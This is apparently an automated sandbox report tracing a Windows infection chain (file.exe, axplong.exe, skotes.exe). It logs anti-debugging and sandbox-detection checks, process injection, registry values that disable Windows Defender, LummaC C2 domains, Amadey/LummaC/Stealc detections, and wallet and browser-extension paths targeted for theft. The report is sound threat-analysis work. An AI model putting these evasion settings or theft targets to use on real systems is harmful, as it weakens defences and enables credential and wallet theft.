Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EF0709 Start: 04EF0771 End: 04EF076B

0_2_04EF0709

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EF02EF rdtsc

0_2_04EF02EF

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00F9645B mov eax, dword ptr fs:[00000030h]		4_2_00F9645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00F9A1C2 mov eax, dword ptr fs:[00000030h]		4_2_00F9A1C2

Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 5256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 6112, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Memory written: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 59d7339838.exe, 0000000A.00000003.1933812554.00000000046E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: 59d7339838.exe, 0000000A.00000003.1933812554.00000000046E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: 59d7339838.exe, 0000000A.00000003.1933812554.00000000046E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: 59d7339838.exe, 0000000A.00000003.1933812554.00000000046E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: 59d7339838.exe, 0000000A.00000003.1933812554.00000000046E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: 59d7339838.exe, 0000000A.00000003.1933812554.00000000046E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: 59d7339838.exe, 0000000A.00000003.1933812554.00000000046E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: 59d7339838.exe, 0000000A.00000003.1933812554.00000000046E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe "C:\Users\user~1\AppData\Local\Temp\1001508001\b02ca6c530.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe "C:\Users\user~1\AppData\Local\Temp\1001509001\59d7339838.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\5708637e68.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\e62942d11f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\7c247f0fb6.exe"

Source: b02ca6c530.exe, b02ca6c530.exe, 0000000B.00000002.2050223710.0000000000644000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000010.00000002.2617107287.0000000000B8C000.00000040.00000001.01000000.00000010.sdmp, skotes.exe, 00000011.00000002.2264367153.0000000000B8C000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Program Manager
Source: K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000002.2276624136.0000000000D3F000.00000040.00000001.01000000.0000000B.sdmp, e62942d11f.exe, 00000018.00000002.2626489589.0000000000DEF000.00000040.00000001.01000000.00000013.sdmp, 7c247f0fb6.exe, 00000019.00000002.2624738254.0000000000EFF000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: sProgram Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_00F7D312 cpuid

4_2_00F7D312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_00F7CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

4_2_00F7CB1A

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 59d7339838.exe, 0000000A.00000003.2051654822.0000000000650000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2250684962.000000000151B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2250111545.000000000151B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2199583995.0000000001547000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000002.2261120941.000000000151B000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2198769585.0000000001546000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2352412432.000000000148E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2484589238.00000000014B1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 15.2.WBQBXT7R0KIHGBUKORZPTVE39I.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.5708637e68.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.axplong.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000003.2169557831.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2210091769.0000000000981000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2509990782.0000000000CE1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2219974455.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1442483966.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2615749927.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1402212473.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1818728444.0000000005790000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2223111924.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1413497554.00000000004D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2468886647.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2417909672.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2264094554.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1373203647.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2459308104.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 6108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 1468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 59d7339838.exe PID: 3284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 5576, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 7.2.b02ca6c530.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.b02ca6c530.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.b02ca6c530.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.1990105604.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2156814063.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2211768610.00000000001D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1921852326.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1913143748.00000000001D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2049326377.00000000001D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2221405720.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1872114375.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 5256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b02ca6c530.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 59d7339838.exe	String found in binary or memory: ets/Electrum-LTC
Source: 59d7339838.exe	String found in binary or memory: s/ElectronCash
Source: 59d7339838.exe	String found in binary or memory: Jaxx Liberty
Source: 59d7339838.exe, 0000000C.00000003.2136389185.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 59d7339838.exe, 0000000A.00000003.2029520932.00000000052E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 59d7339838.exe, 0000000A.00000003.2029520932.00000000052E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: 59d7339838.exe	String found in binary or memory: tdesk\AppData\Roaming\Binance
Source: 59d7339838.exe	String found in binary or memory: %appdata%\Ethereum
Source: 59d7339838.exe, 0000000A.00000003.2029520932.00000000052E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 59d7339838.exe, 0000000A.00000003.2029520932.00000000052E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 59d7339838.exe, 0000000A.00000003.1964521476.0000000000657000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Livevc:

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
